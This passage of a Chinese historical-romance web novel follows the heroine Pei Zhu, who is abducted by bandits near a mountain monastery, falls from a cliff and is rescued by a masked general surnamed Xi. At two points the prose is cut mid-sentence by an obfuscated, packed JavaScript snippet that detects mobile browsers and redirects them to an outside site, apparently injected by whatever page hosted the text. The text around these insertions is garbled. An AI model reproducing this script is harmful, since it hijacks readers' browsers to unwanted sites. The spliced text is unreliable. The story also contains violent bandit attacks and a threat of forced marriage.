三人缓步至山林更深处,此处四野阒然,唯闻松针坠雪。 奚止率先开口,“公爷信中说您中了北蛮人的毒箭,余毒难清,恐有性命之危,才快马送书回京禀明圣上,恳请恩准让您归京,到隆兴寺求玄智大师治伤……” “可我细观那伤,箭簇入肉三分即止,创口平整如削,皮肉外翻之状全然不似强弩所伤,倒像是……”他指尖凌空一点,“像是有人握紧箭尾,自己发力送入肩胛的……” 闻铮与他视线相撞,忽而欣慰笑了,“果然瞒不过你……” 奚止神色一凝,“您早有旧伤,这次又——” “放心!我心里有数……” 他放低声音,低叹道,“十年筹谋便见今朝,若不能手刃奸佞,若不能亲眼见你归位,我便是无病无灾长寿百年,又有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780094|190370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何益?” 奚止静默片刻,才轻声开口。 “我早便向舅舅说过,如今剩这最后一步,我一人足矣。” 闻峥立时怔住。 为防隔墙有耳,他几乎从未从这孩子口中听到过“舅舅”这个称呼,心中不由酸涩难忍,好一会儿才痛快道,“……好!舅舅便等着!” 而久候在此的黄谦眉心微动,绕着奚止踱步一圈,细细端详他露出的半张脸,半晌才捋着长须感叹。 “若非我亲眼所见,若不是公爷提醒,我是万万不能相信……” 他们上山入寺之时,恰与一位披氅的书生隔着数米擦肩而过,那人面白如玉,笑得温煦如春,不知瞧见了什么,眼神甚是温柔。 而眼前此人深幽如渊,玄衣紧束,浑身笼着肃杀寒霜,与那温文书生,分明判若两人。 他意味深长,“我实在好奇,不知哪个才是公子的真面目?” 奚止疏淡答,“都不是。” 黄谦一怔,随即拊掌大笑,“好好好——” “不愧是公子,此等技艺,举世难寻呐!” 奚止淡笑,“还需多谢我师父他倾囊相授……” 闻铮慨叹,“的确要好好谢谢他,当年我不过托他来京为你找调理身体的法子,他却留京悉心教导你数年,更将一身技艺都授于你……” 甚至,包括易容的技艺。 “他惯爱浪迹江湖,一向逍遥自在,前些日子倒是忽然来信说,不久也将抵京,到时我们三个再喝一场……” “只是不知,那时你会是哪个身份了,是奚止,还是……” 是奚止,还是…… 奚止,或该称裴洲,抬手自压弯的枝杈上拨下一团雪,抛撒向半空。 雪粒簌簌散落,霎时融入茫茫雪地,了无痕迹。 “公爷也知,奚止这一身份,便如这雪粒,散尽便归尘世,从不曾真正来过,又谈何消失……不过是当初的权宜之计。” 三年前,他南下颍州守孝不久,便收到西北急信,得知舅舅闻铮旧伤复发,恐命不久矣,便将修林易容成自己留在颍州,随即昼夜兼程奔向北疆,恰逢北蛮铁骑突袭压境,他便就此披甲上阵,直至半年前大捷告成后,才悄然重返颍州临谷。 “……至于往后如何,既尽人事,且听天命罢了。” 闻铮摇首一笑,“你倒是心性如一……” “公爷——” 远处忽有近卫疾奔而来,匆匆急禀,却是个出乎意料的消息。 “三皇子携侍从来了隆兴寺,据说是为病中的胞妹六公主祈福进香,只是他礼佛叩拜后,又绕道登山赏雪,恰好路过您的禅院,说是想探望您……” 闻铮抬眉错愕,“他来看我做什么?不对,他怎地这样快就知道我回京了?” 他长驻西北近二十年,甚少归京,与这些皇亲贵胄可没半分交情。 裴洲似笑非笑,“……公爷竟不知,纵使您远在千里,也仍在庙堂有一射之地……” “……朝中二皇子与三皇子夺嫡之争势如水火,二皇子外祖为京营总督,舅舅是兵部侍郎,不日或将擢升尚书,朝中根基厚若磐石,三皇子外家清誉卓著,门生遍朝野,外祖容尚书却已是致仕之年……” “公爷虽远镇边陲,远水难解近渴……” 他语意微顿,“但聊胜于无……” 正在此时,忽传来利器破空之声,疾若星火,数道箭矢直直取向闻铮心口。 裴洲迅疾旋身横剑,将箭矢格挡至一侧,扬声喝道,“保护公爷!” 刹那间,雪地之中鬼魅般现出了数十个握刀黑衣人,已将他们团团合围。 “杀!” …… 雁南山东麓,隆兴寺后山。 有一众侍从簇拥着位身着锦衣大氅的青年,正缓步登山,山路化雪,石阶路滑,一不小心他便脚下一个趔趄,险些栽下陡坡。 随侍的一位面白无须的内官唉声呼道,“哎呦殿下,奴才早便劝过您,这大雪天里,为公主殿下祈福进香后,还是早些回宫……” “就算您体恤那英国公,天放晴了再来探望便是……” 那青年生得丰神俊朗,温和儒雅,并无寻常贵胄的凌人盛气。 “古时有昭烈帝三顾茅庐,我虽德才不比先贤,但冒雪探访戍边名将,却也算不得什么,路遥且艰,反倒映衬我的心诚呢……” 内侍叹气,只牢牢扶着自家殿下臂膀,“奴才是参不透您这心诚了,唉……那英国公既带伤回京,正应多在房中休养,这样冷的天还上山做什么,累得您也跟着一道受苦……” 三皇子关晟笑意不改,语气却沉了,“周泰……” 内侍周泰忙不迭朝面上轻掴了下,“奴才失言了,该打,该打……” 关晟不再言语,只侧首凝望,但见眼前这山寺银装,层峦素裹,只深深吸入一口寒冽清气—— 冒雪亲临拜访是心诚,而山中偶遇则是缘分。 世事两全才最合他心意。 正此时节,万籁俱寂,唯余风声鸦鸣。 只是不知何时起,那琼枝玉树深处,竟幽幽传来一缕丝弦清音,时而低微时而悠远,萦绕于空山雪幕之间,绵绵不绝。 他不禁沉心细听,许久后才反应过来,这支曲子竟是少闻世人提起或弹奏的《寒山曲》—— 据传是唐末宫廷乐师崔缕所作,其人因安史之乱避入深山,平生所作曲谱皆已失传,唯有这支据说是他青年时进山访友偶作之谱,得以流传于世。 关晟素谙音律,听得渐渐入迷,脚下不觉循着琴音,朝那弹奏之人靠近。 他沿路拨开覆雪琼枝,举目四顾,忽地怔住—— 但见山林尽染霜素,浑无杂色,而十数步外覆雪枯石之上竟倚坐一抱琴女子,乌发逶迤,饰白玉簪钗,通身裹一领银白狐裘,素色裙裾在雪石铺展开来,仿若空谷幽兰,只一眼便被摄住了心神。 恰此时,漫天雪霰又起,纷扬落于她乌发莹面,旋即消融。 她仍垂目抚琴,神色未见半分动容,正若这尘世万物,亦不在她双目之中。 神女降世,莫过如此。 忽又来一阵冬风携雪,直扑得关晟睁不开眼来,待他再次看过去,那枯石之上早已空寂无人。 关晟空落落上前,却又瞥见雪地中余有一抹碧色,他俯身拾起。 ——竟是一方素绢丝帕,绣着簇新绽梨花。 7. 惊鸿 关晟凝视手中丝帕半晌,才朝左右问,“方才,确有一女子在此处弹琴?” 伊人随风而逝,竟不知那惊鸿一瞥是否仅是山雪空梦。 周泰自幼随侍三皇子身侧,殿下的一言一行,乃至其间深意,他皆能体察入微,这世上除却殿下母妃宫中淑妃娘娘,怕再无人能比他更懂三皇子心意。 ——他自是能看出,主子分明已对那女子起意。 只是周泰心中另有思量,便斟酌回道,“殿下瞧得不错,确有一女子弹琴……” “奴才听说隆兴寺中,多有女子带发修行为家族亲眷祈福,方才见那女子想必也是如此……” 关晟睨他一眼,如何不清楚他言下之意,正欲开口,远处有随从急声来报,“殿下,英国公在山中遇刺,传信来请殿下速速下山,以防逃窜刺客来袭!” “什么!” 周泰倒吸一口凉气,“快快护驾!” 身侧扈从纷纷拔刀,瞬息间已将三皇子护在中间。 关晟将那丝帕纳入袖中,一撩袍角转身,“下山!” …… 约一刻钟后,又有两名女子并肩行至此处,她们身后还跟着位苦着脸的小厮。 “来时路上都找遍了却也不见,那应当就是落在这里了……” 其中一位慌忙在枯石畔巡视一圈,又猫下腰,焦急拨弄脚边厚雪。 抱琴的那位从容立在一旁,见她这掘地三尺,也要刨出张帕子的架势,不由莞尔。 “好啦好啦,一张帕子而已,丢便丢了,何必这样着急……” 这两人,自然就是来山中取景的裴珠与锦雁。 锦雁眼圈都快红了,“那可是姑娘的贴身之物!这落在外头,要是到了什么外男手上,可如何好……” 说到此,她忽地反应过来,“定是刚刚那群人,在树后鬼鬼祟祟偷瞧,怕不是趁机拾走了……” 裴珠也记得清楚。 那时山雪幽静,她在雪地枯石上闭眼抱琴,信手弹起从前和四哥从书坊淘来的古曲,正幻想着若还在现代,她的相机该架在什么位置,她应做什么样的表情…… 结果陶醉到一半,刚睁眼—— 就见不远处树丛后,居然有一排陌生人组团围观…… 正和她大眼瞪小眼。 这些人都从哪儿冒出来的! 那,她刚才一系列的自恋姿势造型,不会都被他们看了个正着吧! 要命。 裴珠上次这么尴尬,还是在上辈子。 于是便趁风雪来袭,她拉起锦雁,拽上修竹,就飞快择路遁逃。 这才有了遗失帕子这事。 “都怪奴婢不仔细,姑娘你罚我月俸吧……”锦雁红着眼请罪。 裴珠在她掌心重重一拍,作势凶道,“罚什么罚,快随我下山!” “管那帕子落到谁手里,上头又没绣着我名字……” “……哪个不要脸的登徒子,敢举到你家姑娘我跟前,他还能让帕子叫我一声裴珠不成!……” 锦雁噗嗤转涕为笑,“姑娘……” “嘘——”裴珠忙捂住她的嘴,转身向修竹做个噤声手势。 谁料修竹面上竟也十分凝重,显然亦有所察觉。 三人同时矮身,迅速躲在覆雪山石背后。 远处忽而传来粗重的脚步声,踩着雪地枯枝嘎吱作响,有一群精壮大汉,握刀背弓,从林深处现出了身影。 “大当家的,那帮人的架势一看就不是咱们道上人,搞不好是官府的……” “给那么多银子,要让咱们大雪天翻过雁南山,把东边山上能看见的活人都劫杀了……” “你说说,他们这是图什么?” “有这钱有这功夫,干嘛非让咱们赚啊!” 被称作大当家的那位,不耐斥道,“少废话,收钱办事,知道得越多死的越快!” 近处忽听得一道枯木断裂的咔嚓声,在寂静山林中格外清晰。 “有人!” 几人一跃而起,朝发声处冲去。 而山石后,修竹猛地在裴珠与锦雁背后一推,厉喝道,“快跑!” 裴珠紧握着锦雁的手,迟疑一瞬,咬牙使出最大的气力,朝前发足狂奔。 只是她实在不忍留修竹一个人抵御这帮匪徒,修竹自进府起就跟着四哥,她从没听说过他会武啊! 裴珠忍不住回头,只见修竹似乎已夺过了柄短刀,旋身挥斩,与匪徒缠斗在了一起,刀光血影之间,雪地中已倒下数人。 显然功夫不浅。 修竹竟然这么深藏不露! 她稍安心不过一秒,“嗖”地一声利响,身旁的锦雁惨叫一声,扑倒在地,左腿已中了箭。 “锦雁!” 裴珠慌忙去扶。 她仓皇回头,只见修竹也早已寡不敌众,脸上,胸前,处处弥漫血迹,数名匪徒左右夹击,有人从侧方劈向他的肩膀,他费力格挡,正面却当胸被劈一刀,血液霎时喷涌,溅了那匪徒满脸。 他失了力,倒退几步,仰身倒落在雪地中。 闷重砸出了个深坑。 雪粒扑散而落,几乎好似一座坟冢。 匪徒抹了把溅满鲜血的脸,狞笑着再次举刀—— 裴珠脑中一空。 她惊骇高呼。 “不要杀他!” “我有一千两银子,全都给你们!” 那匪徒的刀顿住,沾满血污的脑袋,提线木偶般朝她一格一格转了过来。 裴珠已高举着银票,手发抖着,在另外几个匪徒的横刀威胁下,慢慢朝他们走近。 她牙关打颤。 修竹此番都是受她连累,不论如何,她绝不能眼睁睁看他为自己送命! “他已身受重伤……便就是好汉们不杀他,怕也活不过今夜……何必多此一举动手呢……” 握刀的匪徒似乎就是他们口中的大当家,他将刀“锵”地一声插在雪地上,哼笑一声,“这小子打伤了我这么多弟兄,他这一条命可不够赔……” 说着,他踱步逼近裴珠,眯起双眼,目光如黏湿的蛇信,在她周身细细舔过一遍。 “要是再加上你,恐怕就够了……” 一旁的匪众们淫|笑起哄,“咱们寨子里可从来没掳到过这么标致的娘们儿,大当家的,你这把有福了!” “还往东边去干什么?” “不如带着大嫂回去成亲,今晚就入洞房!” 裴珠心中作呕,脸颊被风雪刮得生疼麻木,她却强自镇定,“我要是诸位,现在就拿上我给的银子,赶紧逃命……” 大当家眼中寒光一闪,“你这话什么意思?” 裴珠心念飞转,神情却愈发肃重。 她沉声道,“方才诸位所言,我皆已听得一清二楚,有人重金雇你们来这雁南山行凶,所出何目的,各位就不曾想过吗?” “哪怕你们佯装劫杀,不下山不入寺,难道旁人就不知你们曾来过?” “只怕在诸位没现身前,那雇你们之人,早已假借尔等之名,在此杀了该杀之人,就等着要将这罪行嫁祸给诸位身上,好叫他们自己轻松脱身!” 她目光不避,同样哼声道,“而天下最不能说出的真相的,只有死人!” 大当家听闻此言,神色顿时一变。 裴珠冷笑,“你们猜,他们现在会不会正朝这儿赶来,为得就是……” “将你们尽数灭口!” “毕竟,只有留下诸位的尸身,才能算是铁证如山!” 那大当家脸色几番变幻,最终却扯出一个似叹似笑的表情,“好见识,好相貌,更是重情重义……” “我行走江湖多年,还从没见过你这样的女子!” 话音未落,刀光一闪,冷硬的刀锋已贴上裴珠颈侧。 他压低嗓门,故作温存道,“老天既安排你我相遇,便就是逃命,我又怎舍得将你丢下?……” 裴珠闭眼。 草|他爷爷的。 费尽口舌,这帮不知死活的蠢货,竟然还是要把她也劫走。 “各位爷,你们带我走吧!……” “不要带我们姑娘去,求求你们了,求求了……” 锦雁拖着伤腿,在雪地里硬生生爬出了一道血路。 她挣扎着不停叩首,额角顷刻间便磕破见红,血丝混着雪水泥泞,狼狈不堪。 裴珠眼眶一热,视线登时模糊。 她猛地别过脸去,不忍再看,只强压着翻涌心绪,冷淡道。 “她腿受了伤,带上她就是累赘,你们不好逃命。” 又一把刀,立时架到了裴珠的脖颈另一侧。 “好啊,我有你便已够了!” 大当家扬声大笑,志得意满。 “都走快点!” 裴珠最后深深向锦雁看了一眼,无声吐出二字,“快跑”。 锦雁,快走。 快回去告诉四哥。 他一定能想到办法,带人来救我。 转身之时,她的眼眶终于盛不住眼泪,静悄悄地,滑落进了衣襟。 “姑娘——” 瘫在原地的锦雁嘶声哭喊,直到几近失声。 她茫然望向远处,天地间只剩灰白山林,周身痛楚麻木,几次挣扎都因剧痛不能起身,直到耳畔传来了细微的呼声。 “锦雁……” 她这才低头急呼,“修竹!修竹你还能撑住吗?……” 只见遍身是血的修竹嘴唇翕动,气若游丝,“我……胸口……” “什么?” 看他似乎费力指向自己的胸口,锦雁不明所以,强抑颤抖,小心翼翼掀开他被血浸湿透的衣襟,赫然见一个手掌大小的铁制筒状物。 锦雁将这小铁筒捧在手里,泣声急问,“这……这是什么?能救姑娘吗?” “拔……” 铁筒尾端有个环状的卡扣,正摇摇晃晃。 她福至心灵,伸指扣住那铜环,用尽全身力气朝天一拔—— 刹那间。 一道金红焰火腾空而起,冲破林间暮霭,直射向那青空白日,映红了半片苍穹。 …… “禀公爷,已分三路合围,只是这批人个个都是死士,恐怕……难留活口……” 闻铮携侍从疾步下山,“尽力而为,不必强求。” 黄谦是此行唯一不会武的文士,气喘吁吁勉力跟上,“公爷回京一途已经遭了五次刺杀,此番更是明目张胆…… “几乎不必再审,那幕后之人,我们都心知肚明……” 他压低声音,“倒是那账簿名册……” 闻铮一抬手,止住他的话头,“先生放心,我早已有安排。” 料想刺客必是兵分两路,一路在山中截杀,一路潜入禅房搜寻账簿名册下落。 他早另收在了别处。 裴洲手握一柄从刺客处缴来的弯刀,指节轻抚过刀身弧度,沉吟道,“此刀形制特殊,非中原常见样式,倒像边外蛮族所用……” “莫非此次,他们是打算推给蛮族?” “或有可能,形制虽类蛮刀,锻打之技却隐约透着京造痕迹,大约是刻意仿制所为……” 正在此时,一道尖啸般的烟火破空绽放,流光四溅,映亮半面山林。 众人皆举目望去。 裴洲蓦然怔住,眼底震动。 “公爷,属下先行一步!” 不待闻铮回应,转瞬之间,他的身影已在山林枝头几个起跃,便不见了影踪。 黄谦疑虑,“您人在这里,谁在山里放的信号?” 金红火焰。 最为紧急的求救讯号,高于一切上峰指令。 军中只有闻帅,还有身份秘而不宣的公子能用。 闻铮只眉峰骤锁,当即喝令,“你们这队,跟着奚指挥,朝信号焰火的方向去营救!” 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他听此女难得娇怯求道,“你既要娶我,怎能让我苦走山路?你合该将我背回去……” 此女生性狡诈,恐怕不能信。 四目相望一会儿后,他又转念道,也罢,这娇生惯养的贵女,确是经不起这般折腾。 待此女上了他的背,更是贴着他耳畔羞声道,“其实,我方才就想说……” 听完她这话,他四肢酥麻透顶,几乎飘飘欲仙。 他轻咳了两声,“你们先在这儿等一会!”便就背着她,顺着她的指挥,朝附近偏僻处去。 待至一斜坡处,他就要将这娇弱贵女放下地,强自板着脸道,“你就在这儿解决吧……” 贵女仍有气无力倚着他,“好呀……” 下一刻,他的脖颈像被夏日蚊蚋叮了一口,一缕冰凉刺入皮肤,随即浑身酸软,眼前发黑,天旋地转。 裴珠抬脚,将这匪首猛踹下斜坡,掉头便逃。 她用的是好友丹微道长从前赠给她防身用的麻醉针,现在想来,光有“子弹”也没用,她还需要“枪”啊! 到时候就不用这么费力,才只能干掉一个了! 谁料那剩余匪徒中也有精明的,早已暗中盯着动静。 “那娘们要跑!快追!——” “快救大当家的!” 箭矢接连破空而来,擦着裴珠的衣角没入土中,她竭力狂奔,跌倒也翻滚爬起身,心快要跳出了嗓子眼。 两辈子加一起,也没有比此刻还要更惊心动魄! “啊——” “小心!” “有人在射箭!” 天呐,是匪徒中招的声音! 太好了! 是救兵来了吗? 下一瞬间,心凉透顶。 那匪徒之中跑得最快的那位,已飞身过来扣住她脖颈,拖着她往崖边退去。 而方才惨叫连连的林间,随着几道箭声嘶鸣过境,已陷入死寂。 那些匪徒,好像都被干掉了! 裴珠强忍喉间闷痛,勉力扭头望去—— 这苍茫山林之中,不知何时现出了一位通身玄衣的陌生男子,覆黑铁面具,看不清容颜,分明与雪色截然相反,却冷寒若如一体。 他身负长剑,手握弓箭,从枝杈之上一跃而下,轻飘飘朝她和匪徒而来。 匪徒一手死死扣着她的脖颈,一手横刀发抖,几乎色厉内荏,“你别过来!别过来啊!” “再敢过来一步,我就杀了她!” 这、这人是谁啊? 谁给她叫的天降神兵! “神兵”本尊,漠然无声,眼里似乎没有这个正在哆嗦的匪徒,只是缓缓抬弓,搭箭。 等等! 这位覆面系神兵,你、你的箭法有保障吗? 这个匪徒扣着她晃来晃去,你可千万别射歪了啊! 身后崖下山雾弥漫,深不见底。 裴珠心头一紧,苦着脸默默祈祷,忍着被勒得生痛的脖颈,费力从怀中去掏她的“子弹”麻醉针。 终于,掏出了一根。 她颤颤巍巍抬手向后,摸索到了匪徒的脖颈位置,奋力一扎。 “啊——” 与此同时,来自神兵的一箭,精准无误正中了他的咽喉。 裴珠绝处逢生,欣喜笑开,而这笑转瞬即滞。 她惊惶朝下看去。 那垂死挣扎的匪徒,露出了个极狰狞恶毒的笑,“都怪你这……臭娘们……害我们兄弟几个都……死了……” 他倒下崖的同时,死死攥住了裴珠的脚踝。 “我老八临死前……还有个美人陪葬……” “这辈子也值了……” 裴珠的身子失力朝后仰倒,不待挣扎,便如断线纸鸢,直直往崖下坠去。 电光火石之间,那位覆面系神兵,竟也毫不犹豫地一跃而下,飞扑而来。 隔着那块面具,裴珠仿佛能看见他双目之中极其忧急的神情。 大概是错觉吧…… 神兵不愧是神兵。 怎么落崖都来救…… 可惜,她裴珠此生,恐怕没法付他这条命的酬金。 裴珠阖上眼睛。 崖下风雪倒卷,裹挟她眼尾沁出的泪珠,一并逸散飘向天际。 但愿,娘亲和四哥听闻她的死讯时,不要太过伤心。 但愿,再投胎时还能保存记忆。 永恒梦境降临之前,忽而听见滋滋电音,断断续续—— “完美人生系统,识别运行环境,检测到宿主有严重生命危险,即刻自动激活,默认启动紧急自救程序……” “系统电量不足百分之一……” “开启超级省电模式……” 8. 落英 裴珠是被一阵勾人的香气唤醒的。 那香味丝丝缕缕飘过来,她鼻尖微动,凭着老饕本能便分辨出来,那是炙烤的滋味。 隐隐约约间,有鲜气混着辛香窜入鼻腔,是鱼! 还有辣椒孜然胡椒粉,与鱼皮油脂一道烤出的焦香…… ——分明才一日未沾荤腥,她却馋得不行。 唉,这隆兴寺怕是与她八字相冲。 不仅令她这崭新一生草草结束,临死前竟还没吃上顿好的。 什么素斋,她这辈子都不想再碰! 嗅着扑鼻烤鱼香气,她暗自满意,这阴曹地府还挺人性化,居然会按她口味来准备鬼生接风宴。 裴珠本能想抻个懒腰睁,却觉眼皮厚重,浑身更如被巨石碾过,稍一牵扯便处处刺痛—— 怎么成鬼了还有痛觉啊? 听说鬼魂会保持死前的模样,那她落了个坠崖身亡,岂不是死得七零八落,甚是可怖? 但愿睁眼后不要先看到镜子! 她试探性睁开条眼缝。 眼前稍显幽暗,头顶横着歪斜旧梁,左侧似乎是粗泥糊的墙壁,身下是枯草铺就的简陋床榻,眼梢有昏黄火光跳动。 这就是阴曹地府吗…… 可真够破的。 裴珠偏头再朝右侧望去,瞬时呆住。 这破败屋舍的正中,一团篝火烈烈燃烧,火上支着简陋木架,串着条烤得焦香四溢的鱼,那勾得她馋到醒来的香气正源于此。 跃动辉光之中,篝火旁的身影也倏然映入她的眼帘。 那人身着玄衣,面覆漆黑面具,屈膝倚墙壁而坐,身侧长剑静竖,他正凝神望着篝火中正烤着的鱼,时而伸手娴熟转动位置。 半破门窗外风雪呼啸,暮色昏暗,他却静谧与之浑成一体。 这—— 这活像是从经典武侠片中穿越而来的剑客,分明是她坠崖时,随她飞身扑下山崖的那位覆面神兵! 裴珠彻底清醒。 什么阴曹地府,什么鬼生接风,全都是没有的事! 她浑然忘记自己全身各处的酸痛,只一骨碌起身,恨不得放声大喊——她裴珠!没有死! 她还好好活着! 她还能见到娘亲和哥哥! “哎呦——”兴奋后却禁不住痛呼出声。 眼下也顾不得什么体面,她飞快去摸索自己胳膊和腿,这才发觉臂上颈间火辣辣生疼,左脚踝更是肿得老高。 裴珠自我安慰,坠崖之后没有断头断胳膊断腿,已是万幸,这点疼痛且先忍一忍。 她只顾垂首打量自身,自也就不曾见那面具人下意识要起身过来,却又滞住一瞬,坐了回去的模样。 “姑娘坠崖受了伤,现在最好不要乱动。” 一道低沉嗓音响起,语调冷淡至极。 显然是来自那覆面剑客。 裴珠下意识屏住呼吸向后微仰,借墙壁支撑,缓缓在这干草矮榻上直起身,再不敢大幅动作。 覆面剑客的目光仍停在篝火烤鱼上,她斟酌开口问,“方才,是阁下救了我吗?” 那人闻声微微偏头看她,面具下那一双深幽眼中似映着跃动篝火,通身却静若沉璧,如披霜雪。 他略顿了顿,像在解释,“在下稍晚了一步,令姑娘不慎撞到崖壁树冠,才受的伤……” 这算什么? 生死一线,能捡回一条小命已经是谢天谢地。 她再怪人让自己受伤,那就真不知好歹了。 哎,这位覆面剑客看着凛若冰霜,心肠倒怪实诚。 裴珠真心实意道,“那也要多谢阁下救我……” 她环顾四周,“……又将我带至此处,不然我人在昏迷中,又受风霜侵袭,恐怕也……” 天寒地冻,山崖荒野,恐怕捱不到天明。 覆面剑客仍伸手适时转动烤鱼,目光再未投来,口吻却是详尽。 “此处应是山中猎户暂居之所,在下沿途已留有记号,想来今夜,或是明日天亮时,公爷派来搜救之人就会寻至此屋,先请姑娘在此静候。” 随着他的话音,裴珠再度望一眼这陋室,才意识到,若无这间屋子遮蔽风雪,怕只能在这山中风餐露宿,还胆敢嫌什么破旧…… 倒是他这样熟稔提起的“公爷”,又是谁? 裴珠脑海隐有画面闪过——京郊灰蒙官道上,那一队人马自西北而来,道也要去隆兴寺。 对! 这隆兴寺中,正有这样一位公爷! 她脱口问,“阁下口中的公爷,莫不是英国公?” 虽有面具遮挡,她仍隐约在此人神情之中察觉到一丝讶异。 他答,“不错。” 那就对得上了! 匪徒来袭,英国公爷既坐镇隆兴寺,以他爱民如子的声名,绝不会坐视不管,那派手下人上山追踪围堵匪徒,也合情合理。 她笑盈盈续问,“那,阁下就是英国公麾下的将领了?” “是。” 真是惜字如金呐。 不过,当真有其帅必有其将。 想来是英国公和善近人,宽仁御下,麾下才能有这等决然随坠深崖,舍身相救的义士吧。 冷淡话少算什么,跳崖后毫发无伤,还能从容烤鱼的高手,正该如此。 只是他通身气度全然不似沙场武将,倒更像一柄孤峭青锋,江湖风雨中独行而来,纵然面具覆面,难辨容色,但向来男子外貌风仪,有时看脸,有时看氛围。 ——这位覆面将军在氛围感此道,天然登峰造极了! 裴珠正出神间,那烤鱼的香气竟愈发浓郁诱人。 她偏头一见,才在心底暗自品评过的覆面将军,竟不知何时已悄无声息立于塌前,正将串着烤鱼的树枝一端递至她眼前。 这是……给她的? 她下意识仰首望他,只瞥见他线条锋利的冷白下颌,薄唇微抿,不见笑意。 “啊……将军您不吃吗?” 覆面将军不作答复,只是将这烤鱼又往她眼前递了递。 真是面冷心热! 居然出手就要把这一整条鱼都分给自己…… 她忙摆手婉拒,但实在没掩饰好小心思。 “不如各自分食一半?这是您亲自捕来烤了的鱼,怎能我一人独享……” 客套话还未完,裴珠腹中忽传出两声清晰空鸣,在这寂静雪夜里格外分明。 她自认得体知礼的浅笑,顿时僵住。 该死! 怎么恰在此时唱什么空城计…… 不过这也不能怪她…… 今日两度登山,本就体力殆尽,正是用晚膳的时辰,又遭挟持坠崖,撑到此刻腹中早已空空如也,饿得出声也正常吧…… 孰料那覆面将军竟恍若未闻,只淡声道,“先吃吧。” 他转身回去篝火旁时,又补上一句,“姑娘醒来前,在下已用过。” 竟这般贴心! 话已至此,裴珠再顾不得矜持,饕餮进食般大口啃上了烤鱼。 荒山旧屋之中,覆面将军做的烤鱼竟也细心调了味,方才嗅到的辣椒孜然胡椒这些香气果真不是错觉,正是源于这烤鱼! 他还细心将鱼腹清空鱼鳃剥了干净,入口外焦里嫩,脆香无比,毫无涩苦。 覆面将军居然有这样的手艺…… 比之四哥也不差了! 跌宕起伏的凶险一日过去,忽然吃上这样一顿,裴珠感动得几欲热泪满面,快要疑心此刻莫非正在做梦…… 待整条烤鱼被她风卷残云吞吃入腹后,只觉暖意渐生,精神也恢复了大半,不由就着余味感慨。 “将军出行时也会随身携带调味香辛吗?我尝着有盐巴、辣椒、枯茗(孜然)、姜粉,葱蒜粉……” “这同我家中的炙肉烤鱼口味,倒颇为相似呢……” 简直和她一样有品! 据她观察,本朝风俗大约介于明清,唐时价比黄金的胡椒,如今只算稍贵品类,至于辣椒孜然磨粉后洒在炙肉烤鱼上的做法,却不算盛行,似乎只有京中名贵酒楼中将其当做精致宴饮佳肴,不是寻常市井小食。 作为烤肉烤鱼忠实爱好者,她一早便在府里厨房中备齐调料,隔三差五就得吃上一回。 四哥南下回乡守孝时,她还亲自分装一大堆这些调味粉,塞进了他回颍州的行装中呢—— 听说南地守孝清苦,她叮嘱四哥别太老实守规,记得偷空上山打个牙祭。 覆面将军稍作停顿。 “……我常年行军在外,三餐时常就地取材,随身带些香辛总是方便。” 却是含糊了这调料配制由来。 但裴珠不过随口闲谈,自不会深究。 “将军常年随公爷驻守西北,近日才归京的吧?” “是。” “那老家也是京城吗?” “是。” 他是不是除了“是”这个字,不会回答别的? 裴珠暗笑,又正经问,“还未请教将军尊姓大名?” 这次,他没有立即回答“是”了。 只垂首凝视篝火良久,也不曾回话。 裴珠方才察觉,自己的问话,大约有些唐突。 今日情况太过特殊,她坠崖后蒙他所救,风雪山崖,唯有此屋,她又脚踝受伤不良于行,便自然而然变成孤男寡女,共处一室—— 令她险些忘了,这完全不符这个时代的男女大防。 说直接些,倘若她和外男在山中共度一夜的事传了出去,恐怕名声立时毁了大半,就算不被送往家庙,青灯古佛了此残生,怕也要被她那个严苛迂腐的亲爹立刻打发嫁去外乡,此生都不允她再归京。 当然,还有个最显而易见的选择,强硬命她直接嫁给这位恩人将军,勉强成就一番“佳话”。 想到这,裴珠心里不由好笑,那可不是报恩,倒是结仇了。 但见这人即便同处一室,也只侧身坐在离她最远的角落,目光更是从未乱瞟,言谈间也丝毫不见轻佻,显然是个守礼君子。 不肯通报名姓,想必也是为避男女之嫌。 裴珠不愿为难他,就神色轻松理了理斗篷一角,望向别处,假作不曾出口发问。 谁料那面具将军稍作偏头,似乎正眺向她,目中幽沉映辉,不知想到了什么,只停了一停,才道。 “在下姓奚。” 他竟折衷只答了姓。 裴珠弯了唇角,“可是溪水之溪?” 他摇首,“是无水之奚。” 既他坦然答了,裴珠自不会扭捏,只大方道谢。 “我是京中威远伯府裴家长房之女,奚将军今日救我之恩,我与家中亲长必不敢忘,来日定有重谢!” 他只疏离道,“举手之劳,不必言谢。” 真是将云淡风轻高人姿态贯彻到底啊…… 裴珠在心底啧啧感慨。 只是,她这轻松心绪未能持续多久,很快又迎来一桩新的难事—— 简言之,她得去净房更衣如厕。 以眼下这不良于行的姿态…… 白日里对付匪徒扯的谎,竟然这么快就应验…… 老天何必这样整她! 裴珠心如死灰长叹。 人生可能就是这样起起落落落落…… 她出门倒霉被劫持,又不幸落崖摔伤,再得一个人杵着伤腿雪日出门,解决生理问题…… 可是,总不能请奚将军帮忙…… 别说是在古代,哪怕还在现代,她也不好意思请个陌生男人扶自己去洗手间呀! 裴珠脑中胡思乱想了一通,最终只得咬牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780096|190370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攥拳,心中呐喊口号,激情给自己打气——“裴小葵你可以的!” 当务之急,是先要下床。 